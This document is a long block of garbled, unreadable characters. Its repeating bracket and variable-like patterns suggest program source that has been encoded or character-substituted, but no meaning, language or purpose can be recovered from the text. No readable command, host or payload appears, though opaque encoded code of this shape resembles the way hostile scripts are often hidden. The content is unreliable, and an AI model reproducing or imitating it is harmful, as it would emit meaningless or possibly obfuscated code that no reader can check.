]UR"%*107 2RYU U\N)]UR"%*107 2*9:2RYU U\N)]UR"%*107 2*1<&%94,RYUU\N)WYUQEGED YUUUUD\NUUUUUUUUU]TMAL]DLCC\]QEGED \\UU NUUUUUUUUUUUUUU]QEGED UUHHHUUQGEE\UU NUUUUUU]T@LE*B ]QEGED \\UUUUU NUUUU]Q @**UUUUUUSSUTED*L @]QGDBYUUUUQGEE\\UUUUUAAMGG*  ]F]DLCB\YUUU*F]DCAD\\NUQEGED UUUHU*F]DLCA\]*F]DLCM\YUUF]DLCL\YUUUUQEGED YUUUUD\NUUUUUU]TCLG]DLCC\]QEGED \UUU		UUUUUQEGED UHHHUQGEE\UUUUUU NUUUUUUUUUU]T@LE*B ]QEGED \\UUU NUUUUUUQ*EGUUHU5]QGDB\NUUUUUUQ*EGUUUHUUUU]Q*EGUUHHHUU\UUJU]EDG^EB\UUUOUUUUU]Q*EGUUUUUSUU]GCM^GAF\\NUQDGAFLUHUU5CLG]DLEC\]QGDB\NUUUQCELM*GCUHUU5MAL]GC\]*F]DLDF\]QGDB\YUUUUUCLG]DLBE\\NUUUUUUUUU]QCELM*GCUHHHUUUU\UUUUU NUUUUUUUU]5CLG]DLEE\]QCELM*GCYUUUUQEGED \UUUTHHUUUU*F]DLEG\]QEGED \\U5CLG]BBD\]QCELM*GC\NUUUU NUU5CLG]DLBD\]QCELM*GCYUUQ*EG\NUU]T5*F]DLL\]QCELM*GCYUUQGDB\\UUUUZ_UU U_ZUUUUU5CLG]BBD\]QCELM*GC\N NUUUUUUUU]QDGAFL\U5MAL]GD\]QGDBYUUQDGAFL\NUUU]MAL]DMBD\]CLG]DLEM\\\UUUU5*]QGDBYUUUU \NUUUUUUU]F]DLAL\]MAL]DLBG\YUUUUQAYUQ@ \\UUUUUUUUU]MAL]DGMG\]Q@ .D(\UUUUUUQ EFL\UUUUUU]*F]DLBF\]Q EFLYUUUUMAL]DLGM\\UUUUHHHUUUEUSSUUUU5*F]DLGE\]Q EFL\\U5F]BBD\]Q EFL\NUUUUUUU]*F]DMBD\]CLG]DLBA\\UUUUUUSSU*F]DLAL\]*F]DLB@\YUUUQAYUUUQBDDAA\\UUUUUUU]*F]DLBC\]QBDDAA.D(\UUUQFAC\UUUUUUU]MAL]DLCF\]*F]DLBB\YUUQFAC\\UU5*]QFAC\NUUUUUUUUUUUUUU UUF@FCBCAC ]\UUUUUUUUU]T]F]DLBM\\\UU NUUQLDLGUUUUUUHUUUU]MAL]DCCB\\UUUUJUU"%8 *%9 2<;*1<'UUOUUUUUU"%*6:;!0;!*1<'UUU[UUF]DLBL\NQ*GUUUUUHUU]\NUUUUUUUUUU]CLG]DLME\]MAL]DLMD\\\UUUUUUUU]5*F]DLF@\]QLDLG\\UUUUU]]\U5CLG]DLMD\]QLDLGUUU[UUUUF]CCG\\UUUUUUQMBGE\UUUUUUQ*G.(UHUQMBGENUUUU]]*F]MGM\\USSU5F]DLMG\]"%*%9 2<;*1<'\\UUUUUUU]]\UUUU5MAL]DLMD\]"%*%9 2<;*1<'U[U*F]DLMF\\UUUUUUUQMBGE\UQ*G.(UHUUUUUQMBGENUUUUUUUUQUHUUUUU]*F]DLDB\\UUUJU47&%4!=UUOUUUUWWNUUUQDF@ M@UUUUUHUU"%*6:;!0;!*1<'UU[UUU*F]DLMA\UU[UUUF]DBLM\]MAL]DBC@\]QUU[UUU*F]A@\\YUUUUUEYU]DEXG\\U[UU*F]DLM@\UUU[UUUF]DBLM\]CLG]DBC@\]QUU[UUMAL]AB\\YUEYU]DGF+DD@\\U[UUCLG]DBCD\NU]5MAL]DLMC\]QDF@ M@\\UQ*G.(UUHUQDF@ M@NUUUUU]Q*GUUUQMBGE\UQDGAFLUHU5CLG]DLEC\]QMBGE\NUUU]TQDGAFLU		U]QDGAFLUUPUUUU]DDC@MEXDC@ME\\UTHHUUUU]LFMDG^B\\UUUUUUUQDMBUUUUUHU5*F]DLGA\]QMBGE\NUUUU]TQDMBUU		UUUQDMBUUIUU]AMD^DL\UU		UUUQDMBUUUUKUUUUU]GBLBGA@G^GAA@CFAM\\UUUU NUUZZU"%U6U7UU QL@AUUHUU5CLG]DLMB\]QMBGE\NZZU"%U8U!U7OU UUQC@FMUUUHU5CLG]DLMM\]DCLLEEFE]\\NUUUUUUUUU]CLG]DLCC\]QL@A\UUUUSSUUCLG]DLCC\]QC@FM\USSUUQL@AUUUHHHUUUQC@FM\U NUQBLFAUUUUUUHUU5*F]DLFM\]QMBGEYUUUYUUUUU YUUEYUUU]C@BBXGAMD\\NUUUUUU]TMAL]DLCC\]QBLFA\UUU		UUUMAL]DLBF\]QBLFAYUU*F]DLML\\UUUUHHHU\U NQ@BEMG  HDE_CNQECHQ@BEMG  XFDNUUUU]TCLG]DLLE\]CLG]DLLD\YUUUUUQBLFAYUQ\\UU NUU]T*]Q.D(YUUMCCFB]\YUUUUURIR\\UUUU NUUUQUUUUUHUU AAB]QMBGE\NU]QUHHHUUU\UUUUAAMGG*  ]CLG]DMLM\YUUCLG]DLLG\U[UUUUUF]DLLF\]QMBGE\\NUUUUUUU NUZZUUUU"%U#U7UUUUUU]QUHHHU \UUUUU]B@E *G]QMBGEYUUUUQMBGEUU[UU*F]DLM\\\UUUUUU]MAL]DLME\]*F]DLLA\\\UUUU5*]QMBGEYU \NUUUUU5F]BBD\]*F]DLDF\]QMBGE\UUU[UUUCLG]BLL\UUU[UUUCLG]DLL@\]QMBGEYUCLG]DBCD\\\N NUUUUUU5*F]BBD\]QMBGE\NU5CLG]BBD\]MAL]DLDF\]QMBGE\UUU[UUCLG]BLL\U[UUCLG]DLL@\]QMBGEYUUUUF]DBCD\\\NUUUU]CLG]DLME\]CLG]DLLA\\\U5*]QMBGEYUU \NUUUUUUCEGEA]\NUUUUQEELUUUUHUU"%*6:;!0;!*1<'UUU[UUUU*F]DG@C\NUUUU]5MAL]DLMG\]QEEL\UUUUUSSU*F]DLME\]MAL]DLLC\\\UUUUUUUU]]\UU5CLG]DLLB\]QEELU[UUUUUCLG]DLLM\\UUUUUUUQAB\UUUUUUU]T5*F]DLLL\]QAB\U		UUT5F]DLFC\]QAB\\U NUQA* GUUUUHUUU5*F]GEEE\]QAB\NUUUUU]TQA* GUUU		UUQA* GUKUU]EBDG^EDMGC\\UUUU NUUQFFUUHU5CLG]DLFM\]QAB\NUUUUU]T*F]DLCC\]QFF\\UUUU NUUUUUU]MAL]GEED\]QFFYUCLG]GEEG\\UHHHUUUUSSUMAL]GEEF\]QFFYUUUUCLG]GEEA\\UUHHHUUUUUUUUSSUMAL]GEEF\]QFFYUMAL]GEE@\\UUUUUHHHUUUU\U NU]TEB  F@LFB]QFF\\UU NQ*AFDEUHU*C@M]QFF\NUUUU]CLG]DLCC\]Q*AFDE\UUSSUUUUQ*AFDEUUUTHHUQFF\UUUUU FAF@D]QABYUQ*AFDE\NU]*F]DLME\]*F]DLLA\\\UUUUU5*]QABYUU \NUUUUUUUUUUUUUU*C GLG]"%*6:;!0;!*1<'UUU[UCLG]DFLA\\NU*C GLG]"%*6:;!0;!*1<'UU[UUUUCLG]@B@\\NUUUUUUU]*F]DLME\]*F]DM@C\\UUUSSUUUUUUCLG]DLME\]CLG]GEEC\\UUUUSSUUF]DLME\]CLG]GEEB\\\UQAECHDFMGNQGA@GHQAECPDFNUQ*UHUUL ]47&%4!=UU[UCLG]GEEM\YU]@IID\\NUQDFBUUUHUU5*]Q*YUUUWW\NUUUUUU]CLG]DLCC\]QDFB\USSUUUQDFBUUUUUUTHHUUUUWW\UUUUQGG@UUHUUUF]AEG\]QDFBYU \NU]MAL]DLCC\]QGG@\UUUUSSUUUBCGBDAD]QGG@\\UU5*]Q*\NUUUUQ*MELUHUUUUMAL]DLME\]*F]GEEL\\UUUJUUUU GLAF F**]F]DEGD\YUWW\UOUWWNUUU]*F]DLCC\]Q*MEL\USSUUQ*MELUUTHHUWWUUSSU]MAL]DLEG\]Q*MEL\UKUUU]DEAM@@G^GA\UUU		UU]MAL]DLME\]MAL]GEDE\\USSUUDGD@@LCD]Q*MEL\\UU		UUUULD]Q*MEL\\\UUUUUU]F]GEDD\]*F]GEDG\\\UUUUU*GCGG]CLG]DEGD\YUUWWYU*F]GEDF\\NUUUUUU UU@A]\UQ** H%=%*84?:'*#0'&<:;NQ *LB*AHQ** _ANUUUUUUUUU]T]MAL]DLDB\\\UUUU NUUUUUUU]T]Q29:749&.CLG]GEDA\(\\UUUUQ29:749&.CLG]GEDA\(UUUUUUHUUUUUENAAMGG*  ]F]GED@\YUU*F]GEDC\\NUZZU"%U7U!OUUX UUUUUUU]T]Q29:749&.MAL]BLB\(\\U NUQ29:749&.MAL]BLB\(UUUHUU NUUUUUUU]T]Q*20!.*F]DMGG\(\UUSSUMAL]GEDB\]F]DM@C\\UUUUUSSUU*F]GEDB\]F]@GG\\\UUUUUUUUUQ* LFFAUUHUUU5*]MAL]DMAF\YUU]\\NUUUUUUQE*@MDBUHUNUUUU]MAL]DMGD\]Q* LFFA\\UUUUUQ @@MCDHM^@ENQLMLHQ @@MCDXFMNUUUU]T]Q* LFFA.RR(\USSUUCLG]DMMG\]\UUUXUU]\UUUQ* LFFA.*F]GEDM\(UUIUU]GDFAXFFA\\UQE*@MDBUUHU NUUUUUUUUU]TQE*@MDBUSSUUT]Q* LFFA.CLG]DMMA\(\UUUSSU*F]GEDL\]Q* LFFA.F]DMMA\(\\UUUUUU]Q* LFFA.F]DMMA\(UUUUUUUQ*\UUUUUU]MAL]GEDL\]Q*\UUSSUMAL]DMMG\]\UUUXU]\UUQ*.MAL]GEDM\(UUUIUUUUU]DBCD^FL\\UUQE*@MDBUHUUU NUNUUUUUUUUUUUUU]QE*@MDB\UMAL]GEGE\]MAL]DMAA\\NUUUU]DFMCGD@]DCLLEEFE]\\\U NUF@FCBCAC ]\NUUUULFGFA]DCLLEEFE]\YUMCCFB]\\NUUUU]TBML@AE]\\UUUUUUUUUM@*M**]\NU@BE*E]\NUUU NZZUXUUUUQADCEUUUUUUHU GBME M L]\NUUUQMMAGMUUUHUU]UUUDCLLEEFE]\YUUUQADCEUUUUU[UUUCLG]@B@\Y\NUQ@L@UUHUUUFGBF@]\NUUUU]Q@L@UUUUUUUQEMM \UUUUUU]5MAL]DLLL\]QEMM \\UUUQMMAGM.(UUUUHUUUUUQEMM NUUUQBBBUHU]\NUUUUUUUU]DED@LLLD]\\UUUUUUUUUQ*@UUHUUL ]47&%4!=UU[UUUMAL]DELG\YUUUUU]F^@\\UU[U*F]DBCD\NQA@EH]EM^E@\NQ*GL*HQA@EPDANQBBB.MAL]GEGD\UU[UUU47&%4!=UUU[UCLG]DALF\(UUHUUUUQ*@NUUQBBB.*F]GEGD\U[UUUQADCEUUU[UMAL]GEGG\(UUUHUQ*@NUUUUUUUQ*LD* MFUUUHUMAL]GEGF\]*F]DAMF\\UJU5MAL]DAMF\]MAL]GEGA\\UUUUUOUUNUUUUUUUU]*F]GEG@\]Q*LD* MF\UUSSUUUQ*LD* MFUUTHHUUUUWW\UUUUUUQA@UHU]\U*]F]DAAL\YUUE\NU]TQA@U		UUUMAL]DMMG\]\UUXUUUUQA@UUUUKHUUU]DDDFEEXGALEE\\UUQ@ME@LUUUUHUUL ]47&%4!=UU[UUCLG]GEGC\YUU]DAXC\\UU[UUF]DBCD\NQBBB.MAL]GEGD\U[UUUMAL]GEGB\]47&%4!=YUMAL]DADB\\U[URZRUU[UUUUUQ*LD* MF(UHUUQ@ME@LNQBBB.F]GEGD\UU[UUQADCEUU[UUURZRU[UUUQ*LD* MF(UUHUUUUUQ@ME@LNUUUUUUUUQ*FCGUUUHUUUAFGF*A]\NUUUUU]5F]DLLL\]Q*FCG.D(\\UQBBB.MAL]GEGM\UU[UUUQ*FCG.E((UUHUUU*F]GEGL\UUUU[UQ*FCG.G(NUUUUUUUUQ*CL UUUHUUUU5*]F]GEFE\YUUU]\\NUUUUUUUU]TMAL]GEDL\]Q*CL \\UQ*CL UUUHUUUU]\NUUQ EUHUNUUUUUU]QMMAGMUUUQEMEM\UQFAHDD^@CNQMELHQFAXAANUUQB@GGUUUHUU5*F]GEFD\]QEMEM\NUUUUUQB*GD*D UHUUUUUUQB@GGUUJUUUUU]QB@GG.CLG]GEFG\(UUUU[UUR	RU[UUQB@GG.F]GEFF\(\UUOUUUUURERNUUQ GUUUUHU]Q*CL .QEMEM(\UUJUQ*CL .QEMEM(UOUUWWNUUUU]QB*GD*D UUHHHUUUQ G\U NU]*F]GEFA\]MAL]GEF@\YUUUQ GYUUUQEM\UUUSSUUU*F]GEFC\]Q GYUUEYUXF]DLEG\]QEM.E(\\UHHHUUUUUQB*GD*D UUUSSUUUUCLG]DMMG\]\UUUXU]\UQEM.D(UUUUUIUU]F@AL^@D\\UUUU NUUUUUQ EUHUUUU NUNUUUUU]TQ E\UUUUU]QBBBUUUUUUQUUHKUUUUQ G\UUUUUQB*GD*D UHUUU EBGB]F]GEFB\]QYUUUU]DFL+DAG\\YUUQ G\NUQ GUUUUUHUUU]Q*CL .Q(\UUUJUQ*CL .Q(UUOUUWWNUUUUU]QB*GD*D UUHHHUUUQ G\UUUU NUUUUUU]CLG]GEFA\]MAL]GEF@\YUQ GYUQEM\UUUSSUUUCLG]GEFM\]Q GYUUUEYUUXMAL]DLEG\]QEM.E(\\UUUUHHHUQB*GD*D USSUUMAL]DMMG\]\UUXUUU]\UUUQEM.D(UUUUUUIU]MCFAD^@L\\UU NUUQ EUUHU NUUUUUNUUUUUUUUUUQC*UUUHUUUUCLG]DLL@\]DCLLEEFE]\YUUMAL]DBCD\\NQDDCUUHUQADCEUU[UUUUF]@@\U[UUQC*U[UUUUURZRU[UQC*UUUUU[UUMAL]DBCD\NUUUUUUUQ*@EECLUUUUUUHUUUUFGDCCEGL*G]\NUUUUU]T5MAL]GEFL\]QDDC\UU		UUUUU]\UU5*F]GEAE\]QDDC\UUUUUUIUU]@MLFXMLF\\UUQ EUUHU NUUUU]Q*@EECLUUTHHUUWWUUSSUUUT5CLG]GEAD\]Q*@EECL\\UUUQ EUUHUUUU NUUUUUUUUU]TQ EUSSUCLG]GEAG\]CLG]DM@C\\\UUUZZU5U UUQBGFE@UUHUQC*U[URZRUU[UQC*UUU[UUUUUUCLG]GEAF\NUUUUUUQBMCBUUHUUU*]F]BBM\YU]\\NUUUUUUUUUU]TMAL]GEDL\]QBMCB\U		UTMAL]BLC\]QBGFE@YUUQBMCBYUUU \\UUQ EUUUHUUUU NUUUUUUUUUUUUU]TQ E\UUUU NUUUUUUU]TLBG@@LMCLAD]MAL]MED\\\UU NUUUUUUUUUUUUUUE EB]\NUCGBGBE]\NQECBH%=%*84?:'*#0'&<:;NQBDM* HQECB_FNU@BE*E]\NUUUUUUUEGFDD]\NUG*L@L]\NUUUUUUUM@*M**]\NUUUUUUM ]\NULEGA]\NQBEC HBC_FNQ*DLAAHQBEC XALNUUUQDBBFUUHUUUUUDF@]\NUUUQMUHUUFLA*@LG@G]\NUUUUUQ*L*CDALUUHUUU]\NUUUUUUUUU]QMMAGMUUUUUUQEMEM\UUUQFLCGUUUHUUU]QEMEMUUHHHUUUUQADCEUUU[UUUCLG]GEAA\UUUUSSUUUTQDBBF\UU		U]F]GEFM\]QEMEMYUX]C^M\\UUUUUUHHHUCLG]GEA@\UUUUUUSSUTQM\NUUUUQB@GGUUHU5MAL]GEFD\]QEMEM\NUUUUU]QB@GG\UUZ_UXU U_ZUUUUUQ*L*CDAL.QEMEM(UUHUUUUUQB@GG.F]GEFG\(UUUU[UUR	RUU[UQB@GG.MAL]GEFF\(U[U]QFLCGUJUUF]GEAC\UUU[UUUUUUF]DMMG\]\UUOUUWW\NUU]QBBBUUUUUUQUUUUUHKUUQ G\UUQACEUHUU EBGB]*F]GEAB\]QYUU]EA^ED\\YUQ G\NUUUU]QACEUUUHHHUUURERUUUUUU		UUUMAL]GEAB\]QACEYUUUUUXG\UHHHUUUUCLG]GEAM\\UUQACEUU[HUUMAL]GEAL\UUU[UMAL]DMMG\]\NQ*L*CDAL.Q(UUHUUUQACENUUUU5 *]CLG]GEFE\YUQ*L*CDALYUUUUU*F]GEDF\\NUUUUUUUUUUUUU@FLGL]F]MED\\NUUUUUUUUUUU]!UUUUQD@D*G\UUUAAMGG*  ]CLG]GE@E\YUUQD@D*G\NUUUUUUUUU]0UQD@D*G\UUUUUUUUUU UUUU EBGB]QEMEMYUUUUQ G\UQB@GGUUUHUU5MAL]GEFD\]QEMEM\NUUUUUU]TQB@GG\UU UUUURERNQB*GD*D UHUUQB@GG.F]GEFG\(UUUU[UUR	RUUUUU[UUQB@GG.CLG]GEFF\(NUUUUUU]QB@GG.MAL]GEFG\(UUKU]DEAM@@G^GA\\UUU UUUUUUCLG]GE@D\UUUUUU[UQB*GD*D NUQGEEUUHUU5CLG]GE@G\]QEMEM\NUU UUQB*GD*D UUUU[UUUUR	RUUUUUU[UU]]*F]GEG@\]QGEE\UUSSUUCLG]GEEF\]QGEEYUQ G\UTHHUU\UUUJUUURDRUUOUUURER\NUUUU UUMB*FEL]\UUUUUUUQ*UUHUUCLG]GEAG\]*F]DM@C\\UJUU*]MAL]GDA\YUUUUUWW\UUUOUWWNUUUUUUU*CBA*F F]\NUUQ*A @UUHUUU*F]GEAG\]CLG]DM@C\\UJUUU*]*F]GDA\YUUUWW\UOUUUUWWNUUU]Q*A @UUHHHUUUUUUQ*\UU5*]*F]GDA\\NU UUU*CBA*F F]\UUUQCLHD	DEBNQDHQCL+DCNUUUUUUUUUUUUUUUU]T]*F]DLDB\\\UUUUU NUUQADCEUUUUHU GBME M L]\NQ@GF@H%=%*<;!*84-Z%=%*<;!*84-NQ@AGD@HQ@GF@^DGNUUUQCD UHUUUGMFM]\NUQMAMLCAUUUUHUUUUUL ]47&%4!=U[UMAL]DCD@\YUUUUU]F^@\\UU[UUUMAL]DFGM\NUUUUQ*MAUUUUHUUL ]47&%4!=UUUU[UUUMAL]GE@F\YUU]DFX@\\UU[UUCLG]GE@A\NQBBUUUUHUUL ]47&%4!=UUUUUU[UU*F]GEGC\YUUU]D^B\\U[UUUUUMAL]GE@A\NUUUQEFBMMUUUUUHUUUL ]47&%4!=U[UUUF]DFBL\YUUUU]EA^EA\\U[UUF]GE@@\NUUUUUQ @UHUUL ]47&%4!=U[UUUUCLG]DAED\YUU]EA^EA\\U[UF]GE@@\NUUUQAFAMEUUUHUUUCLG]DCAC\UU[UUUUUL ]47&%4!=UU[UUUURRYUU]DIIF\\NUUUQGF*DDUUUUHUU]QADCEUU[UUMAL]GE@C\UUHKUU*F]LGA\YQADCEUU[UMAL]GEAA\UUUUUHKUUUUF]GE@B\YU\NUUUU]QGF*DDUUUUQEMEMUUHKUUQ\UUUUUU]T5F]GEAD\]QEMEM\\UUU NQGEEUUUUHUU5CLG]GE@M\]QEMEM\NUUUUU]QGEEUUUHHHUU\UU NUQA AGUHUUCLG]LGL\UUU[UUUUUQUUUUU[UUUMAL]LFE\U[UUUUQUUU[UUU*F]LFD\NUUUUQ*BDE*UUUHUUUF]GE@L\]QA AGYUUWWYUQGEE\NUUUUUUU]Q*BDE*UUTHHUQGEE\U FAF@D]QEMEMYUQ*BDE*\NUUUUUUUQAD@CUUHUUUUQADCEU[UUUMAL]@BM\NUUUUU]5*F]GEAD\]QAD@C\\UUUUQBLUUUHUU5*F]GECE\]QAD@C\NUUUUU]CLG]GEG@\]QBL\UUUSSUUQBLUUUUUTHHUUWW\UUUUUUUUUUUU]CLG]GEFA\]CLG]GECD\YUUUF]GECG\]QBLYUEYUU]G@F^AB\\\UUUUU		UUUF]GECF\]QBLYUUUUCLG]D@@E\\UHHHUE\UUUUUF* ]QAD@CYUUUU]ADG^M\\NUE F]QAD@C\NUUUZZUUQM @MUHUF]GE@L\]CLG]GECA\YUUWWYUUQBL\NUUUUUUUU]CLG]GEG@\]QM @M\UUUSSUUUUQM @MUUTHHUUQBL\UUU FAF@D]QAD@CYUUUUQM @M\NU ]QM @M\NUUUUUUUU ]QBL\NQAGD@HDDM	AGNQAGL*HQAGD@+DEANUQELDCUHUUUU*F]DLDF\]DCLLEEFE]\\UUUUU[UUUUUCLG]DAG\NQ*@*H]EG@^EBD\NQ@MHQ*@*PDGNUUUUQ ADMUUUUUUHUUU]*F]DLBM\\UUUUJU"%*6:;!0;!*1<'UU[UU*F]GEC@\UUUOUUQELDCNUUUUQ*ECEUHUUU]UUUUQADCEUUUUUU[URZRUU[UUUUQMAMLCAYUUUUUQADCEUU[UURZRUU[UQ*MAYQADCEUUU[UUURZRUU[UQBBYQCD UUUU[UUURZRU[UUQEFBMMYUQCD U[UUURZRU[UUUQ @YUQCD UU[UUUUUURZRUUU[UQ*MAYUUUUUUQCD U[URZRUU[UUUUUQBBYUQELDCU[UUUUURZRUU[UUQEFBMMYUUUUUQELDCU[UUUURZRUUU[UUUQ @YUUUUQELDCUUU[URZRUU[UUUQ*MAYUUUUUUUQELDCUUUU[UUURZRUUU[UUUUQBBYUUUUUQ ADMU[UUURZRUUUU[UUUUQEFBMMYUUQ ADMUU[UURZRUU[UUUUUQ @YUUUUUUQ ADMUUU[URZRU[UUQ*MAYUQ ADMU[URZRUU[UQBBYUU\NUUUUUUQ*AEGGUUHUUAFGF*A]\NUUQ*ECE.(UUHUUQ*AEGG.D(NUQ*ECE.(UUUUUUHUUQ*AEGG.D(UU[UMAL]DBBG\NU ]Q*AEGG\NUUUUU]*F]GEAG\]CLG]DLLB\\\UUUUUU]]\UUU5MAL]DLLB\]QADCEUUU[UMAL]GECC\UUUU[UUUQMAMLCA\UUUUUUUUUUQC@@CMLLA*LE\UUUQ*ECE.(UUHUQC@@CMLLA*LENUUU]]\UU5MAL]GECB\]QADCEU[UUUUF]GECM\UU[UUUQMAMLCA\UUQC@@CMLLA*LE\UUUUQ*ECE.(UUUHUUUQC@@CMLLA*LENUU]]\U5*F]GECB\]47&%4!=U[UUUUUCLG]GECL\U[UUQAFAMEU[UUMAL]FDG\\UUUUUUUUQMBMCMAF\UQ*ECE.(UHUUUQMBMCMAFNUUU]]\UUU5CLG]GECB\]QADCEUUUU[UUUUURZRUUUUU[UQAFAMEUUU[UMAL]FDG\\UUUUUQMBMCMAF\UUUQ*ECE.(UHUUUQMBMCMAFNQ*GC@EH%=%*84?:'*#0'&<:;NQECCFHQ*GC@E_DENUUU]]\U5F]GECB\]QCD U[URZRU[UUQAFAMEUU[UUUUMAL]FDG\\UUUUUUQMBMCMAF\UUQ*ECE.(UUUUHUUQMBMCMAFNUUUUU]]\UU5MAL]GECB\]QELDCUUUU[URZRUUU[UUQAFAMEU[UUF]FDG\\UUUUUQMBMCMAF\UUUQ*ECE.(UUUUHUUUUQMBMCMAFNU]]\UU5CLG]GEBE\]Q ADMUUUU[UUUURZRU[UUUUQAFAMEU[UUUUUU*F]GEBD\\UUUUQMBMCMAF\UUQ*ECE.(UUUHUUQMBMCMAFNUUQLBFG*LUHUUUL ]47&%4!=UU[URRYU]D^B\\NUUQ**DMFUHUUUUU]47&%4!=UUUU[UUUUCLG]GEBG\YUUUUQADCEYUUUUQCD YUUQELDCYUUUUUUQ ADM\NUUUUUUU]Q**DMFUUUUUQ*\UUUUUZZU"%UC[FUOUXUX UUUUU]5*F]DLMG\]Q*\USSUUU5CLG]DLFC\]Q*\\UUFLGEBGB L]Q*UU[U*F]GEBF\UUU[UUUUQLBFG*LYUUMCCFB]\YU*F]GEBA\\NUUUUUUUUUUUUU]CLG]GEB@\]F]GEBC\\\UUU]Q**DMFUUUUQ*\UUUUUUUUUU]]F]GEBB\YU*F]GEBM\YUF]GEBL\YUUU*F]GEME\YUUUUCLG]GEMD\YUUUU*F]GEMG\YUUMAL]GEMF\YUUUF]GEMA\YU*F]GEM@\\UUUUQL A\UUUQD@H]ECE^EL\NQDMHQD@P@NU]]\U5CLG]GEBC\]Q*UU[URZRUU[UUQL AUU[UUUR_R\UUUQCC\UUUUQ*ECE.(UUHUQCCNUUUUUUU]]\UU5CLG]GEBC\]Q*UUUU[UUU*F]GEMC\\UUUUUUUQG\UQ*ECE.(UHUUQGNUUUU ]QLBFG*LYUUUUQ**DMFYUQ*YUQL AYUQCCYUUUUQG\NUUUQMLMEFF*UUUHUUUUUU]47&%4!=UU[UUF]GEMB\YUUUUQADCEU[UCLG]GEGG\\NUUUUUUUU]QMLMEFF*UUUUUQACC@\UUUUU]T5F]GEAD\]QACC@\\UUUU NUUQGEEUUUUUHUUUUUU5CLG]GEMM\]QACC@\NQ MDMH@@_GNQAGHQ MDMXGFNUUUUUU]QGEEUUSSUUCLG]GECF\]QGEEYUU*F]GEML\\UTHHUUU\UUUUUUUUUQGEEUHUUCLG]GE@L\]MAL]GELE\UU[UUUUCLG]DADE\]Q*MAYUURZR\UU[UMAL]DD@C\YUUW)WYUQGEE\NUUUUUUUUUU]CLG]GEG@\]QGEE\\UUUUUQGEEUUUUUHUF]GE@L\]*F]DD@B\UUUUU[U*F]DADE\]Q*MAYUUUURZR\U[UUCLG]GELD\YUUUUW)WYUQGEE\NUUUUUUUU]*F]GEG@\]QGEE\\UUQGEEUUHU*F]GE@L\]CLG]GELG\UU[UUUU*F]DADE\]Q*MAYUUUUUURZR\UUUU[UUF]GELF\YUUUW)WYUUQGEE\NQ*FGH@EC@NQBHQ*FGPFNUUU]CLG]GELA\]QGEE\\U FAF@D]QACC@YUUUQGEE\NUUUUUUUUUUUUQMELCUUHU47&%4!=UU[UUUUMAL]GEL@\NUUUU]T5CLG]GELC\]QMELC\\UUUUQ AA*EUUHUUUF]GELB\]47&%4!=\U[UU*F]GELM\NUUUUUUU]5*F]GELC\]Q AA*E\\UQMELCUUHUQ AA*ENUUUUU]5MAL]GELC\]QMELC\USSUU5*F]DLFC\]QMELC\\UUUUUQ*UHUUU5*F]GEMM\]QMELC\NQMEEHLBEENQA HQMEEPDFNUUUU]F]GELA\]Q*\USSUUU*F]GECF\]Q*YUCLG]GELL\\UUTHHUUUUU\UUUUQM*LFEL DUUHUUF]GDEE\]F]GDED\YUUWWYUUUUQ*\NUU]MAL]GELA\]QM*LFEL D\UUUUUSSUUUUUQM*LFEL DUUTHHUUUQ*UUUSSUUUUUU@LE*B ]QM*LFEL D\\UUUUUUUUQMMUHU5*F]GDEG\]QMELC\NUUUUU] FAF@D]QMELCYUUQM*LFEL D\USSUUUUUQMM\UU5F]GD\]QMELCYUUQMM\NU ]QM*LFEL DYUUQMM\NUU ]Q*\NU ]QMELCYUUQ AA*E\NUUQ*LD* MFUUUHUUF]GEB@\]CLG]DAMF\\UUJUUUUUU5F]DAMF\]MAL]GDEF\\UOUUUNUU]TQ*LD* MFU		UQ*LD* MFUUUUUUHHHUUUWW\UUUUUQ*LD* MFUHUUUMAL]GDEA\NUQBDM EEUHUU]47&%4!=UU[UQ*LD* MFYUUQADCEUUUUU[URZRUUUU[UUUUQ*LD* MF\NUUUU]QBDM EEUUQ@MFLD\UUUUUUUUUU]T5CLG]GELC\]Q@MFLD\\UUU NUUUUUQGEEUHU5CLG]GDE@\]Q@MFLD\NUUUUU]QGEEUUUUUSSU*F]GECF\]QGEEYUUUUF]GEML\\UUTHHUUU\UUUUUUUUUQGEEUUHUF]GDEC\]MAL]GDEB\U[UUUUUF]GDEM\]QBBYUUUURZR\UU[U*F]GDEL\YUUUWWYUQGEE\NUUUUUUU]F]GELA\]QGEE\\U FAF@D]Q@MFLDYUUQGEE\NUUUUUQBAUUUHUUUUU]UUQADCEUU[UUURZRUUUU[UUQBBYUUUUUQCD UUU[UURZRUU[UUUQBBYUUUUUQELDCU[UUUUURZRUU[UUQBBYUUUU\NUUUUQLBBFCUUHUUUUUUF]GDDE\]Q*ECEYUUUQBA\NUUUUUUUUUU]QBAUUUUUUQGDB\UUUUUUUUU]5MAL]GDDD\]QGDB\\UUUUUUF* ]QGDBYUUU]CABXGGB\\NUUU FAF@D]QGDBYU*F]DCEG\\NUUUUUUU]QLBBFCUUUUUQGDB\UU]5CLG]GDDD\]QGDB\\UUUF* ]QGDBYU]FGA^LC\\NE F]QGDB\NUUUUUUUUUU]FGBF@]\UUUUUQ*F\UUUU]T5*F]GDDD\]Q*F\UUUUU		UUUT5*F]DLFC\]Q*F\\U NUQGEEUHU5CLG]GDE@\]Q*F\NUUUUUU]CLG]GELA\]QGEE\\UUUUUUUUUQMLF *UHUUUU LADF]QGEEYU*F]GDDG\YUUUF]GDDF\\NQMLF *UUHUUU LADF]QMLF *YUMAL]GDDA\YUUU*F]GDDF\\NUUU]F]GELA\]QMLF *\USSUUUUUUQMLF *UUUTHHUUUUQGEE\UUU FAF@D]Q*FYUUUQMLF *\NUUUUUUU ]QMLF *\NUUUUUUUUUUUU]MAL]GEB@\]F]D@LA\\UUUUSSUUUUUCLG]GEB@\]MAL]GDD@\\\UUUUUUUUUUQUUUHUUU**  M]\NUU]QUTHHUUU\UUUUUQ*F*MB*@UUHUUUU5*F]D@LA\]QYUUUURRYUUEYUUE\NUUUUUUU]Q*F*MB*@\UUU5CLG]GDDC\]Q*F*MB*@\NUUUU5*F]D@ML\]Q*F*MB*@\NUUUUUUUUUUUUUUUUUUUU]F]GEB@\]CLG]GEEC\\\UUUUUUUQ G@UUHUUUL ]47&%4!=U[UF]GEEM\YU]C^A\\NU5*]Q G@\NQ* LFFAUHUUUU*F]GDDB\]F]GDDM\\UUUUUJU5*]CLG]GDDL\YU]\\UOUUUU]\NUUU]F]GDGE\]Q* LFFA\\UUUUUUUUU]]Q* LFFA.RR(\\UE F]Q* LFFA.RR(\NUUU]]Q* LFFA.CLG]GDGD\(\UUUSSUUUU*F]GDGG\]Q* LFFA.CLG]GDGD\(\\UUUUU]Q* LFFA.*F]GDGF\(UUUUUUQ*\UUUUUUU]F]GDGG\]Q*